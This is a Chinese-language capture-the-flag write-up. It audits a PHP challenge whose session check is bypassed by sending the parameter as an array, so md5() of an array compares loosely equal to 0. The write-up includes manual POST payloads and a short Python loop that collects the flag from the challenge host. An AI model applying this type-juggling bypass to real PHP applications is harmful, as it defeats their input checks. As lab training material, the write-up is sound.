访问题目链接,获得源码
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}
if($_SESSION['time']+120<time()){
session_destroy();
}
$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
if($_SESSION['nums']>=10){
echo $flag;
}
show_source(__FILE__);
?>
代码审计
-
session_start();
:启动session会话,session是以数组文本形式存储在服务器端的会话,不接受客户端修改,相对于cookie较安全。启动后一般可以在系统临时文件夹sess_PHPSESSID找到session文件,该位置可通过php.ini文件下session.save_path
属性进行查询和设置。一般文件名形如sess_4c83638b3b0dbf65583181c2f89168ec
,后面问32位编码的随机字符串,抓包后查看请求头PHPSESSID可知。 -
if(!isset($_SESSION['nums'])){}
:创建名为nums的变量,创建成功后执行if内语句:变量nums=0;
time=time();
whoami=ea;
-
if($_SESSION['time']+120<time()){}
:如果启动session的时间+120秒小于目前时间,销毁会话。简而言之,创建的会话有效期为2分钟。也可通过session_set_cookie_params()
设置session的生存期,该函数需要在session_start()
调用之前调用。如未设置session生存周期,则在客户端关闭浏览器时自动注销。 -
$value = $_REQUEST['value'];
:获取value的值赋值给value,通过get,post,cookie均可获取。 -
$str_rand = range('a', 'z');
:创建一个包含a-z的数组变量$str_rand -
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];
:从$str_rand
数组中随机选择两个字符组成字符串赋值给$str_rands -
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){}
: -
if($_SESSION['nums']>=10){}
:如果session数组中变量nums>=10
,则可输出flag
解题思路
-
session变量nums>=10时即可输出flag,且nums每通过一次
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){}
判断即可加1。 -
变量value可控制,等于随机字符串whoami即可,第一次为’ea’,之后whoami的随机值都会返回。且md5(数组)=0,可通过使value为数组绕过。
-
需要在两分钟内重复以上过程10次以上即可拿到flag。
方法
1. 手工循环
两分钟内重复10次一般网速都可以达到,payload如下(post提交):
value[]=ea
value[]=py
value[]=pp
value[]=ga
value[]=yl
value[]=wr
value[]=bc
value[]=zf
value[]=db
value[]=ry
即可过得flag。
2. python脚本循环
本人python渣渣,附上脚本:
import requests
url = "http://d105df0bf53543faa484f07eee12fc6724021af7cff34d58.changame.ichunqiu.com/?value[]="
url2 = url + 'ea'
s = requests.session()
for i in range(11):
r = s.get(url2)
url2 = url+r.content[0:2]
if 'flag{' in r.content:
print(r.content)
================================================================